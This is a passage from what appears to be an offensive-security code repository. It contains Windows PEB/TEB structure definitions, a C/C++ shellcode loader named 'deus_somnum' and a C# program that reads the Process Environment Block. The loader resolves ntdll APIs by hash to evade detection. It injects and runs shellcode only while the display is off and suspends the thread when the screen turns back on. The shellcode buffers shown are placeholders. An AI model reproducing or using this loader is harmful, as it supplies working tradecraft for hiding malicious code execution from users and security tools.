PVOID FreeList; ULONG TlsExpansionCounter; PVOID TlsBitmap; ULONG TlsBitmapBits[0x2]; PVOID ReadOnlySharedMemoryBase; PVOID ReadOnlySharedMemoryHeap; PVOID* ReadOnlyStaticServerData; PVOID AnsiCodePageData; PVOID OemCodePageData; PVOID UnicodeCaseTableData; ULONG NumberOfProcessors; ULONG NtGlobalFlag; BYTE Spare2[0x4]; LARGE_INTEGER CriticalSectionTimeout; ULONG HeapSegmentReserve; ULONG HeapSegmentCommit; ULONG HeapDeCommitTotalFreeThreshold; ULONG HeapDeCommitFreeBlockThreshold; ULONG NumberOfHeaps; ULONG MaximumNumberOfHeaps; PVOID** ProcessHeaps; PVOID GdiSharedHandleTable; PVOID ProcessStarterHelper; PVOID GdiDCAttributeList; PVOID LoaderLock; ULONG OSMajorVersion; ULONG OSMinorVersion; ULONG OSBuildNumber; ULONG OSPlatformId; ULONG ImageSubSystem; ULONG ImageSubSystemMajorVersion; ULONG ImageSubSystemMinorVersion; ULONG GdiHandleBuffer[0x22]; ULONG PostProcessInitRoutine; ULONG TlsExpansionBitmap; BYTE TlsExpansionBitmapBits[0x80]; ULONG SessionId; } PEB, * PPEB; typedef struct _TEB { NT_TIB NtTib; PVOID EnvironmentPointer; CLIENT_ID ClientId; PVOID ActiveRpcHandle; PVOID ThreadLocalStoragePointer; PPEB ProcessEnvironmentBlock; ULONG LastErrorValue; ULONG CountOfOwnedCriticalSections; PVOID CsrClientThread; PVOID Win32ThreadInfo; ULONG User32Reserved[26]; ULONG UserReserved[5]; PVOID WOW32Reserved; LCID CurrentLocale; ULONG FpSoftwareStatusRegister; PVOID SystemReserved1[54]; LONG ExceptionCode; #if (NTDDI_VERSION >= NTDDI_LONGHORN) PACTIVATION_CONTEXT_STACK* ActivationContextStackPointer; UCHAR SpareBytes1[0x30 - 3 * sizeof(PVOID)]; ULONG TxFsContext; #elif (NTDDI_VERSION >= NTDDI_WS03) PACTIVATION_CONTEXT_STACK ActivationContextStackPointer; UCHAR SpareBytes1[0x34 - 3 * sizeof(PVOID)]; #else ACTIVATION_CONTEXT_STACK ActivationContextStack; UCHAR SpareBytes1[24]; #endif GDI_TEB_BATCH GdiTebBatch; CLIENT_ID RealClientId; PVOID GdiCachedProcessHandle; ULONG GdiClientPID; ULONG GdiClientTID; PVOID GdiThreadLocalInfo; PSIZE_T Win32ClientInfo[62]; PVOID glDispatchTable[233]; PSIZE_T glReserved1[29]; PVOID glReserved2; PVOID glSectionInfo; PVOID glSection; PVOID glTable; PVOID glCurrentRC; PVOID glContext; NTSTATUS LastStatusValue; UNICODE_STRING StaticUnicodeString; WCHAR StaticUnicodeBuffer[261]; PVOID DeallocationStack; PVOID TlsSlots[64]; LIST_ENTRY TlsLinks; PVOID Vdm; PVOID ReservedForNtRpc; PVOID DbgSsReserved[2]; #if (NTDDI_VERSION >= NTDDI_WS03) ULONG HardErrorMode; #else ULONG HardErrorsAreDisabled; #endif #if (NTDDI_VERSION >= NTDDI_LONGHORN) PVOID Instrumentation[13 - sizeof(GUID) / sizeof(PVOID)]; GUID ActivityId; PVOID SubProcessTag; PVOID EtwLocalData; PVOID EtwTraceData; #elif (NTDDI_VERSION >= NTDDI_WS03) PVOID Instrumentation[14]; PVOID SubProcessTag; PVOID EtwLocalData; #else PVOID Instrumentation[16]; #endif PVOID WinSockData; ULONG GdiBatchCount; #if (NTDDI_VERSION >= NTDDI_LONGHORN) BOOLEAN SpareBool0; BOOLEAN SpareBool1; BOOLEAN SpareBool2; #else BOOLEAN InDbgPrint; BOOLEAN FreeStackOnTermination; BOOLEAN HasFiberData; #endif UCHAR IdealProcessor; #if (NTDDI_VERSION >= NTDDI_WS03) ULONG GuaranteedStackBytes; #else ULONG Spare3; #endif PVOID ReservedForPerf; PVOID ReservedForOle; ULONG WaitingOnLoaderLock; #if (NTDDI_VERSION >= NTDDI_LONGHORN) PVOID SavedPriorityState; ULONG_PTR SoftPatchPtr1; ULONG_PTR ThreadPoolData; #elif (NTDDI_VERSION >= NTDDI_WS03) ULONG_PTR SparePointer1; ULONG_PTR SoftPatchPtr1; ULONG_PTR SoftPatchPtr2; #else Wx86ThreadState Wx86Thread; #endif PVOID* TlsExpansionSlots; #if defined(_WIN64) && !defined(EXPLICIT_32BIT) PVOID DeallocationBStore; PVOID BStoreLimit; #endif ULONG ImpersonationLocale; ULONG IsImpersonating; PVOID NlsCache; PVOID pShimData; ULONG HeapVirtualAffinity; HANDLE CurrentTransactionHandle; PTEB_ACTIVE_FRAME ActiveFrame; #if (NTDDI_VERSION >= NTDDI_WS03) PVOID FlsData; #endif #if (NTDDI_VERSION >= NTDDI_LONGHORN) PVOID PreferredLangauges; PVOID UserPrefLanguages; PVOID MergedPrefLanguages; ULONG MuiImpersonation; union { struct { USHORT SpareCrossTebFlags : 16; }; USHORT CrossTebFlags; }; union { struct { USHORT DbgSafeThunkCall : 1; USHORT DbgInDebugPrint : 1; USHORT DbgHasFiberData : 1; USHORT DbgSkipThreadAttach : 1; USHORT DbgWerInShipAssertCode : 1; USHORT DbgIssuedInitialBp : 1; USHORT DbgClonedThread : 1; USHORT SpareSameTebBits : 9; }; USHORT SameTebFlags; }; PVOID TxnScopeEntercallback; PVOID TxnScopeExitCAllback; PVOID TxnScopeContext; ULONG LockCount; ULONG ProcessRundown; ULONG64 LastSwitchTime; ULONG64 TotalSwitchOutTime; LARGE_INTEGER WaitReasonBitMap; #else BOOLEAN SafeThunkCall; BOOLEAN BooleanSpare[3]; #endif } TEB, * PTEB; typedef ULONG CALLBACK DEVICE_NOTIFY_CALLBACK_ROUTINE( _In_opt_ PVOID Context, _In_ ULONG Type, _In_ PVOID Setting ); typedef DEVICE_NOTIFY_CALLBACK_ROUTINE* PDEVICE_NOTIFY_CALLBACK_ROUTINE; typedef struct _DEVICE_NOTIFY_SUBSCRIBE_PARAMETERS { PDEVICE_NOTIFY_CALLBACK_ROUTINE Callback; PVOID Context; } DEVICE_NOTIFY_SUBSCRIBE_PARAMETERS, * PDEVICE_NOTIFY_SUBSCRIBE_PARAMETERS; // PROGRAM FUNCTION PROTOTYPE ULONG CALLBACK HandlePowerNotifications(PVOID Context, ULONG Type, PVOID Setting); DWORD64 VxGetFunctionAddress(DWORD64 pLoadedModule, DWORD64 dwHash); VOID VxZeroMemory(PVOID Destination, SIZE_T Size); DWORD djb2(PBYTE str); PTEB RtlGetTeb(); VOID Inject(VOID); // NTDLL FUNCTION HASH #define RtlMoveMemoryHash 0x7adcac96 #define NtAllocateVirtualMemoryHash 0xc3f2b89b #define NtProtectVirtualMemoryHash 0x50c76a37 #define NtCreateThreadExHash 0x2991015f #define NtWaitForSingleObjectHash 0x4ea11bcb #define NtResumeThreadHash 0x7e9c459f #define NtSuspendThreadHash 0xe740d3b0 #define LdrLoadDllHash 0xfc700412 #define RtlInitUnicodeStringHash 0x02febf38 #define NtSetThreadExecutionStateHash 0xf95a732f // NTDLL FUNCTION DELEGATES typedef VOID(NTAPI* RtlInitUnicodeStringDelegate)(PUNICODE_STRING, PCWSTR); typedef VOID(NTAPI* RtlMoveMemoryDelegate) (PVOID, CONST PVOID, SIZE_T); typedef NTSTATUS(NTAPI* NtAllocateVirtualMemoryDelegate) (HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG); typedef NTSTATUS(NTAPI* NtProtectVirtualMemoryDelegate) (HANDLE, PVOID*, PSIZE_T, ULONG, PULONG); typedef NTSTATUS(NTAPI* NtCreateThreadExDelegate) (PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, HANDLE, LPTHREAD_START_ROUTINE, LPVOID, BOOL, SIZE_T, SIZE_T, SIZE_T, LPVOID); typedef NTSTATUS(NTAPI* NtWaitForSingleObjectDelegate) (HANDLE, BOOLEAN, CONST PLARGE_INTEGER); typedef NTSTATUS(NTAPI* NtSuspendThreadDelegate) (HANDLE, PULONG); typedef NTSTATUS(NTAPI* NtResumeThreadDelegate) (HANDLE, PULONG); typedef NTSTATUS(NTAPI* LdrLoadDllDelegate) (PWCHAR, ULONG, PUNICODE_STRING, PHANDLE); typedef NTSTATUS(NTAPI* NtSetThreadExecutionStateDelegate) (EXECUTION_STATE, PEXECUTION_STATE); // POWRPROF FUNCTION HASH #define PowerSettingRegisterNotificationHash 0xEF255A2B // POWRPROF FUNCTION DELEGATE typedef DWORD(WINAPI* PowerSettingRegisterNotificationDelegate) (LPCGUID, DWORD, HANDLE, PHPOWERNOTIFY); // VX API TABLE - smelly typedef struct _VxApiTable { RtlInitUnicodeStringDelegate _RtlInitUnicodeString; RtlMoveMemoryDelegate _RtlMoveMemory; NtAllocateVirtualMemoryDelegate _NtAllocateVirtualMemory; NtProtectVirtualMemoryDelegate _NtProtectVirtualMemory; NtCreateThreadExDelegate _NtCreateThreadEx; NtWaitForSingleObjectDelegate _NtWaitForSingleObject; NtSuspendThreadDelegate _NtSuspendThread; NtResumeThreadDelegate _NtResumeThread; LdrLoadDllDelegate _LdrLoadDll; NtSetThreadExecutionStateDelegate _NtSetThreadExecutionState; PowerSettingRegisterNotificationDelegate _PowerSettingRegisterNotification; } VxApiTable, * PVxApiTable; // MACROS #ifndef NT_SUCCESS #define NT_SUCCESS(StatCode) ((NTSTATUS)(StatCode) >= 0) #endif #ifndef DEVICE_NOTIFY_CALLBACK #define DEVICE_NOTIFY_CALLBACK 2 #endif // GLOBAL VARAIBLES BOOL bLoop; HANDLE hNotificationRegister; HANDLE hHostThread; VxApiTable Table; DEVICE_NOTIFY_SUBSCRIBE_PARAMETERS DeviceNotifySuscribeParametes; int wmain() { PTEB pTeb = RtlGetTeb(); PPEB pPeb = pTeb->ProcessEnvironmentBlock; // Get NTDLL Module PLDR_MODULE pLoadedModule = (PLDR_MODULE)((PBYTE)pPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10); // Dynamically load NTDLL function Table._RtlInitUnicodeString = (RtlInitUnicodeStringDelegate)VxGetFunctionAddress((DWORD64)pLoadedModule->BaseAddress, RtlInitUnicodeStringHash); Table._RtlMoveMemory = (RtlMoveMemoryDelegate)VxGetFunctionAddress((DWORD64)pLoadedModule->BaseAddress, RtlMoveMemoryHash); Table._NtAllocateVirtualMemory = (NtAllocateVirtualMemoryDelegate)VxGetFunctionAddress((DWORD64)pLoadedModule->BaseAddress, NtAllocateVirtualMemoryHash); Table._NtProtectVirtualMemory = (NtProtectVirtualMemoryDelegate)VxGetFunctionAddress((DWORD64)pLoadedModule->BaseAddress, NtProtectVirtualMemoryHash); Table._NtCreateThreadEx = (NtCreateThreadExDelegate)VxGetFunctionAddress((DWORD64)pLoadedModule->BaseAddress, NtCreateThreadExHash); Table._NtWaitForSingleObject = (NtWaitForSingleObjectDelegate)VxGetFunctionAddress((DWORD64)pLoadedModule->BaseAddress, NtWaitForSingleObjectHash); Table._NtResumeThread = (NtResumeThreadDelegate)VxGetFunctionAddress((DWORD64)pLoadedModule->BaseAddress, NtResumeThreadHash); Table._NtSuspendThread = (NtSuspendThreadDelegate)VxGetFunctionAddress((DWORD64)pLoadedModule->BaseAddress, NtSuspendThreadHash); Table._LdrLoadDll = (LdrLoadDllDelegate)VxGetFunctionAddress((DWORD64)pLoadedModule->BaseAddress, LdrLoadDllHash); Table._NtSetThreadExecutionState = (NtSetThreadExecutionStateDelegate)VxGetFunctionAddress((DWORD64)pLoadedModule->BaseAddress, NtSetThreadExecutionStateHash); // Check that all addresses were retrieved if (!Table._RtlMoveMemory || !Table._NtAllocateVirtualMemory || !Table._NtProtectVirtualMemory || !Table._NtCreateThreadEx || !Table._NtWaitForSingleObject || !Table._NtResumeThread || !Table._NtSuspendThread || !Table._LdrLoadDll || !Table._RtlInitUnicodeString || !Table._NtSetThreadExecutionState) return 1; // Load the Powrprof.dll into the process and get base address DWORD64 dwPowrprofBaseAddres = 0; UNICODE_STRING usPowrprof; VxZeroMemory(&usPowrprof, sizeof(UNICODE_STRING)); WCHAR pwPowrprof[16]; VxZeroMemory(pwPowrprof, sizeof(pwPowrprof)); pwPowrprof[0] = 'P'; pwPowrprof[1] = 'o'; pwPowrprof[2] = 'w'; pwPowrprof[3] = 'r'; pwPowrprof[4] = 'p'; pwPowrprof[5] = 'r'; pwPowrprof[6] = 'o'; pwPowrprof[7] = 'f'; pwPowrprof[8] = '\0'; Table._RtlInitUnicodeString(&usPowrprof, pwPowrprof); Table._LdrLoadDll(NULL, 0, &usPowrprof, (PHANDLE)&dwPowrprofBaseAddres); // Check that all addresses were retrieved Table._PowerSettingRegisterNotification = (PowerSettingRegisterNotificationDelegate)VxGetFunctionAddress(dwPowrprofBaseAddres, PowerSettingRegisterNotificationHash); if (!Table._PowerSettingRegisterNotification) return 1; // Register the function DEVICE_NOTIFY_SUBSCRIBE_PARAMETERS NotificationsParameters; NotificationsParameters.Callback = HandlePowerNotifications; NotificationsParameters.Context = NULL; DWORD success = Table._PowerSettingRegisterNotification(&GUID_CONSOLE_DISPLAY_STATE, DEVICE_NOTIFY_CALLBACK, (HANDLE)&NotificationsParameters, &hNotificationRegister); if (success != 0x0) return 1; // Change execution state DWORD dwExecutionState; Table._NtSetThreadExecutionState(ES_AWAYMODE_REQUIRED | ES_CONTINUOUS | ES_SYSTEM_REQUIRED, (PEXECUTION_STATE)&dwExecutionState); // Loop till the end of the world bLoop = TRUE; while (bLoop) {} return 0; } ULONG CALLBACK HandlePowerNotifications(PVOID Context, ULONG Type, PVOID Setting) { PPOWERBROADCAST_SETTING PowerSettings = (PPOWERBROADCAST_SETTING)Setting; if (Type == PBT_POWERSETTINGCHANGE && PowerSettings->PowerSetting == GUID_CONSOLE_DISPLAY_STATE) { switch (*PowerSettings->Data) { // Display is off or dimmed case 0x0: case 0x2: { if (hHostThread == NULL) Inject(); else Table._NtResumeThread(hHostThread, NULL); break; } // Display is on case 0x1: { if (hHostThread) { Table._NtSuspendThread(hHostThread, NULL); } break; } default: { break; } } } return 0; } VOID Inject(VOID) { HRESULT hResult; char shellcode[] = "\x90\x90\x90\x90\xcc\xcc\xcc\xcc"; // Allocate memory PVOID lpAddress = NULL; SIZE_T szDataSize = sizeof(shellcode); hResult = Table._NtAllocateVirtualMemory((HANDLE)-1, &lpAddress, 0, &szDataSize, MEM_COMMIT, PAGE_READWRITE); if (!NT_SUCCESS(hResult)) return; // Write Memory Table._RtlMoveMemory(lpAddress, shellcode, sizeof(shellcode)); // Change page permissions ULONG ulOldProtect = NULL; Table._NtProtectVirtualMemory((HANDLE)-1, &lpAddress, &szDataSize, PAGE_EXECUTE_READ, &ulOldProtect); // Create thread OBJECT_ATTRIBUTES ObjectAttributes; ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES); ObjectAttributes.RootDirectory = NULL; ObjectAttributes.Attributes = 0; ObjectAttributes.ObjectName = NULL; ObjectAttributes.SecurityDescriptor = NULL; ObjectAttributes.SecurityQualityOfService = NULL; INITIAL_TEB InitialTeb; VxZeroMemory(&InitialTeb, sizeof(INITIAL_TEB)); hResult = Table._NtCreateThreadEx(&hHostThread, 0x1FFFFF, NULL, (HANDLE)-1, (LPTHREAD_START_ROUTINE)lpAddress, NULL, FALSE, 0, 0, 0, NULL); if (!NT_SUCCESS(hResult)) { return; } // Wait for 1 seconds LARGE_INTEGER Timeout; Timeout.QuadPart = -10000000; Table._NtWaitForSingleObject(hHostThread, FALSE, &Timeout); return; } DWORD64 VxGetFunctionAddress(DWORD64 dwModuleBase, DWORD64 dwHash) { PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)dwModuleBase; if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) return 1; PIMAGE_NT_HEADERS pImageNtHeader = (PIMAGE_NT_HEADERS)((PBYTE)pDosHeader + pDosHeader->e_lfanew); if (pImageNtHeader->Signature != IMAGE_NT_SIGNATURE) return 1; PIMAGE_FILE_HEADER pImageFileHeader = (PIMAGE_FILE_HEADER)(dwModuleBase + (pDosHeader->e_lfanew) + sizeof(DWORD)); PIMAGE_OPTIONAL_HEADER pImageOptioalHeader = (PIMAGE_OPTIONAL_HEADER)((PBYTE)pImageFileHeader + sizeof(IMAGE_FILE_HEADER)); // Parse the export table of NTDLL PIMAGE_EXPORT_DIRECTORY pExportTable = (PIMAGE_EXPORT_DIRECTORY)(dwModuleBase + pImageOptioalHeader->DataDirectory[0].VirtualAddress); PDWORD pFunctionAddressTable = (PDWORD)((LPBYTE)dwModuleBase + pExportTable->AddressOfFunctions); PDWORD pFunctionNameAddressTable = (PDWORD)((LPBYTE)dwModuleBase + pExportTable->AddressOfNames); PWORD pFunctionNameOrdinalTable = (PWORD)((LPBYTE)dwModuleBase + pExportTable->AddressOfNameOrdinals); DWORD x; for (x = 0; x < pExportTable->NumberOfNames; x++) { PBYTE pFunctionName = (PBYTE)(dwModuleBase + pFunctionNameAddressTable[x]); if (dwHash == djb2(pFunctionName)) { return (DWORD64)(dwModuleBase + pFunctionAddressTable[pFunctionNameOrdinalTable[x]]); } } return TRUE; } VOID VxZeroMemory(PVOID Destination, SIZE_T Size) { PULONG Dest = (PULONG)Destination; SIZE_T Count = Size / sizeof(ULONG); while (Count > 0) { *Dest = 0; Dest++; Count--; } return; } DWORD djb2(PBYTE str) { DWORD dwHash = 0x7734; INT c; while (c = *str++) dwHash = ((dwHash << 0x5) + dwHash) + c; return dwHash; } PTEB RtlGetTeb() { #if _WIN64 return (PTEB)__readgsqword(0x30); #else return (PTEB)__readfsdword(0x16); #endif } ================================================ FILE: Power Management/deus_somnum_user32.cpp ================================================ #pragma once #include // Global variables PPOWERBROADCAST_SETTING pPowerSettings; HPOWERNOTIFY hPowerNorification; HINSTANCE hGlobalInstance; WCHAR lpAtomClassName[36]; ATOM AtomClass;DWORD dwError; DWORD dwHostThreadId; HANDLE hHostThread; LRESULT CALLBACK ​WindowProc​(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam); ATOM ​Win64RegisterCallBackNotifications​(VOID); VOID ​Cleanup​(VOID); int​​ wWinMain​(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, ​int​ nShowCmd) { //smelly & am0nsec lpAtomClassName[0] = ​'s'​; lpAtomClassName[1] = ​'m'​; lpAtomClassName[2] = ​'e'​; lpAtomClassName[3] = ​'l'​; lpAtomClassName[4] = ​'l'​; lpAtomClassName[5] = ​'y'​; lpAtomClassName[6] = ​' '​; lpAtomClassName[7] = ​'&'​; lpAtomClassName[8] = ​' '​; lpAtomClassName[9] = ​'a'​; lpAtomClassName[10] = ​'m'​; lpAtomClassName[11] = ​'0'​; lpAtomClassName[12] = ​'n'​; lpAtomClassName[13] = ​'s'​; lpAtomClassName[14] = ​'e'​; lpAtomClassName[15] = ​'c'​; lpAtomClassName[16] = ​'\0'​; hGlobalInstance = hInstance; AtomClass = Win64RegisterCallBackNotifications(); ​if​ (AtomClass == 0x0) { dwError = ::GetLastError(); Cleanup(); ​return​ dwError; } HWND hWindow = ::CreateWindowEx(0, lpAtomClassName, ​NULL​, 0, 0, 0, 0, 0, HWND_MESSAGE,​NULL​, hInstance, ​NULL​); ​if​ (hWindow == ​NULL​) { dwError = ::GetLastError(); Cleanup(); ​return​ dwError; } INT nReturn; MSG Message;​ while​ ((nReturn = ::GetMessage(&Message, ​NULL​, 0, 0)) != 0) { ::TranslateMessage(&Message); ::DispatchMessage(&Message); }​ if​ (hWindow) ::CloseWindow(hWindow); Cleanup(); ​return​ 0; } ATOM ​Win64RegisterCallBackNotifications​(VOID) {​ // Window class information WNDCLASSEX Wnd = {}; Wnd.cbSize = ​sizeof​(WNDCLASSEX); Wnd.style = 0; Wnd.lpfnWndProc = (WNDPROC)WindowProc; Wnd.cbClsExtra = 0; Wnd.cbWndExtra = 0; Wnd.hInstance = hGlobalInstance; Wnd.hIcon = ​NULL​; Wnd.hCursor = ​NULL​; Wnd.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1); Wnd.lpszMenuName = ​NULL​; Wnd.lpszClassName = lpAtomClassName; Wnd.hIconSm = ​NULL​;​ return​ ::RegisterClassEx(&Wnd); } LRESULT CALLBACK ​WindowProc​(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam) { ​switch​ (uMsg) { ​case​ WM_CREATE: { hPowerNorification = ::RegisterPowerSettingNotification(hwnd, &GUID_CONSOLE_DISPLAY_STATE, DEVICE_NOTIFY_WINDOW_HANDLE); ​if​ (hPowerNorification == ​NULL​) { ::SendMessage(hwnd, WM_CLOSE, (WPARAM)0, (LPARAM)0); break​; } ::SetThreadExecutionState(ES_AWAYMODE_REQUIRED | ES_CONTINUOUS | ES_SYSTEM_REQUIRED);​ break​; }​ case​ WM_CLOSE: { Cleanup(); ::UnregisterPowerSettingNotification(hPowerNorification); ::ExitProcess(0x01);​ } case​ WM_POWERBROADCAST: { pPowerSettings = (PPOWERBROADCAST_SETTING)lParam;​ if​ (pPowerSettings->PowerSetting == GUID_CONSOLE_DISPLAY_STATE) {​ if​ (pPowerSettings->Data[0] == 0x02 || pPowerSettings->Data[0] == 0x00) {​ // Check if display off or dimmed if​ (hHostThread == ​NULL​) { ​char​ shellcode[] = ​""​; LPVOID lpAddress = ::VirtualAlloc(​NULL​, ​sizeof​(shellcode),MEM_COMMIT, PAGE_READWRITE); ::RtlMoveMemory(lpAddress, shellcode, ​sizeof​(shellcode)); DWORD dwOldProtect; ::VirtualProtect(lpAddress, ​sizeof​(shellcode),PAGE_EXECUTE_READ, &dwOldProtect); hHostThread = ::CreateThread(​NULL​, 0,(LPTHREAD_START_ROUTINE)lpAddress, ​NULL​, 0, &dwHostThreadId); ::WaitForSingleObject(hHostThread, 2000); ​if​ (hHostThread == ​NULL​) { ::SendMessage(hwnd, WM_CLOSE, (WPARAM)0, (LPARAM)0); ​break​; } } ​else​ { ::ResumeThread(hHostThread); } } ​else​​if​ (pPowerSettings->Data[0] == 0x01) {​ // Display back on ​if​ (hHostThread != ​NULL​) ::SuspendThread(hHostThread); } } ​break​;​ } default​: { ​return​ ::DefWindowProc(hwnd, uMsg, wParam, lParam); } } ​return​ 0; } VOID ​Cleanup​(VOID) {​ if​ (AtomClass != 0x0) { ::UnregisterClass(lpAtomClassName, hGlobalInstance); } } ================================================ FILE: Process/GetProcessEnvironmentBlock/GetProcessEnvironmentBlock/GetProcessEnvironmentBlock.csproj ================================================ Exe netcoreapp3.1 true ================================================ FILE: Process/GetProcessEnvironmentBlock/GetProcessEnvironmentBlock/Program.cs ================================================ using System; using System.Runtime.InteropServices; namespace GetProcessEnvironmentBlock { public sealed class Program { static void Main(string[] args) { Console.WriteLine("[>] Copyright (C) 2020 Paul Laine (@am0nsec)"); Console.WriteLine("[>] Get PEB w/ C#"); Console.WriteLine(" ----------------------------------------\n"); // ASM to get the PEB Span stub = stackalloc byte[10] { 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, // MOV RAX, GS:[0x60] 0xC3 // RET }; // Execute the ASM and get the PEB address Console.WriteLine("[>] Get the address of the PEB:"); IntPtr pPebAddress = IntPtr.Zero; unsafe { fixed (byte* ptr = &MemoryMarshal.GetReference(stub)) { GetPebDelegate func = Marshal.GetDelegateForFunctionPointer((IntPtr)ptr); if (!VirtualProtect((IntPtr)ptr, stub.Length, 0x40, out uint lpflOldProtect)) { Console.WriteLine("[-] Unable to find change memory page permission"); return; } pPebAddress = func(); if (pPebAddress == IntPtr.Zero) { Console.WriteLine("[-] Unable to find PEB address"); return; } } } Console.WriteLine(" - 0x{0:x16}", pPebAddress.ToInt64()); // Get the structure from memory PEB _PEB = new PEB(); _PEB = Marshal.PtrToStructure(pPebAddress); if (_PEB.Equals(default(PEB))) { Console.WriteLine("[-] Invalid PEB structure returned"); return; } // Get some info Console.WriteLine("\n[>] Extract few data:"); Console.WriteLine($" - BeingDebugged: {_PEB.BeingDebugged.ToString()}"); Console.WriteLine($" - Mutant: 0x{_PEB.Mutant.ToString("X16")}"); Console.WriteLine($" - ImageBaseAddress: 0x{_PEB.ImageBaseAddress.ToString("X16")}"); Console.WriteLine($" - Ldr: 0x{_PEB.Ldr.ToString("X16")}"); Console.WriteLine($" - OSMajorVersion: {_PEB.OSMajorVersion}"); Console.WriteLine($" - SessionId: {_PEB.SessionId}"); #if DEBUG Console.ReadKey(); #endif } [DllImport("kernel32.dll")] public static extern bool VirtualProtect( IntPtr lpAddress, int dwSize, uint flNewProtect, out uint lpflOldProtect ); } [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate IntPtr GetPebDelegate(); [StructLayout(LayoutKind.Sequential, Pack = 0)] public struct UNICODE_STRING { public ushort Length; public ushort MaximumLength; private IntPtr Buffer; } [StructLayout(LayoutKind.Sequential, Pack = 0)] public struct LIST_ENTRY { public IntPtr Flink; public IntPtr Blink; } [StructLayout(LayoutKind.Sequential, Pack = 1)] public struct PEB { public byte InheritedAddressSpace; public byte ReadImageFileExecOptions; public byte BeingDebugged; public byte BitField; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] Padding0; public IntPtr Mutant; public IntPtr ImageBaseAddress; public IntPtr Ldr; public IntPtr ProcessParameters; public IntPtr SubSystemData; public IntPtr ProcessHeap; public IntPtr FastPebLock; public IntPtr AtlThunkSListPtr; public IntPtr IFEOKey; public uint CrossProcessFlags; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] Padding1; public IntPtr KernelCallbackTable; public uint SystemReserved; public uint AtlThunkSListPtr32; public IntPtr ApiSetMap; public uint TlsExpansionCounter; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] Padding2; public IntPtr TlsBitmap; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)] public uint[] TlsBitmapBits; public IntPtr ReadOnlySharedMemoryBase; public IntPtr SharedData; public IntPtr ReadOnlyStaticServerData; public IntPtr AnsiCodePageData; public IntPtr OemCodePageData; public IntPtr UnicodeCaseTableData; public uint NumberOfProcessors; public uint NtGlobalFlag; public ulong CriticalSectionTimeout; public ulong HeapSegmentReserve; public ulong HeapSegmentCommit; public ulong HeapDeCommitTotalFreeThreshold; public ulong HeapDeCommitFreeBlockThreshold; public uint NumberOfHeaps; public uint MaximumNumberOfHeaps; public IntPtr ProcessHeaps; public IntPtr GdiSharedHandleTable; public IntPtr ProcessStarterHelper; public uint GdiDCAttributeList; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] Padding3; public IntPtr LoaderLock; public uint OSMajorVersion; public uint OSMinorVersion; public ushort OSBuildNumber; public ushort OSCSDVersion; public uint OSPlatformId; public uint ImageSubsystem; public uint ImageSubsystemMajorVersion; public uint ImageSubsystemMinorVersion; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] Padding4; public ulong ActiveProcessAffinityMask; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 60)] public uint[] GdiHandleBuffer; public IntPtr PostProcessInitRoutine; public IntPtr TlsExpansionBitmap; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 32)] public uint[] TlsExpansionBitmapBits; public uint SessionId; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] Padding5; public ulong AppCompatFlags; public ulong AppCompatFlagsUser; public IntPtr pShimData; public IntPtr AppCompatInfo; public UNICODE_STRING CSDVersion; public IntPtr ActivationContextData; public IntPtr ProcessAssemblyStorageMap; public IntPtr SystemDefaultActivationContextData; public IntPtr SystemAssemblyStorageMap; public ulong MinimumStackCommit; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public IntPtr[] SparePointers; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 6)] public uint[] SpareUlongs; public IntPtr WerRegistrationData; public IntPtr WerShipAssertPtr; public IntPtr pUnused; public IntPtr pImageHeaderHash; public uint TracingFlags; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] Padding6; public ulong CsrServerReadOnlySharedMemoryBase; public ulong TppWorkerpListLock; public LIST_ENTRY TppWorkerpList; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 128)] public ulong[] WaitOnAddressHashTable; public IntPtr TelemetryCoverageHeader; public uint CloudFileFlags; public uint CloudFileDiagFlags; public byte PlaceholderCompatibilityMode; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 7)] public byte[] PlaceholderCompatibilityModeReserved; public IntPtr LeapSecondData; public uint LeapSecondFlags; public uint NtGlobalFlag2; } } ================================================ FILE: Process/GetProcessEnvironmentBlock/GetProcessEnvironmentBlock.sln ================================================  Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio Version 16 VisualStudioVersion = 16.0.30114.105 MinimumVisualStudioVersion = 10.0.40219.1 Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "GetProcessEnvironmentBlock", "GetProcessEnvironmentBlock\GetProcessEnvironmentBlock.csproj", "{286BACF5-74CB-40F0-A1D2-EF443E07D0E0}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Any CPU = Debug|Any CPU Release|Any CPU = Release|Any CPU EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {286BACF5-74CB-40F0-A1D2-EF443E07D0E0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {286BACF5-74CB-40F0-A1D2-EF443E07D0E0}.Debug|Any CPU.Build.0 = Debug|Any CPU {286BACF5-74CB-40F0-A1D2-EF443E07D0E0}.Release|Any CPU.ActiveCfg = Release|Any CPU {286BACF5-74CB-40F0-A1D2-EF443E07D0E0}.Release|Any CPU.Build.0 = Release|Any CPU EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection GlobalSection(ExtensibilityGlobals) = postSolution SolutionGuid = 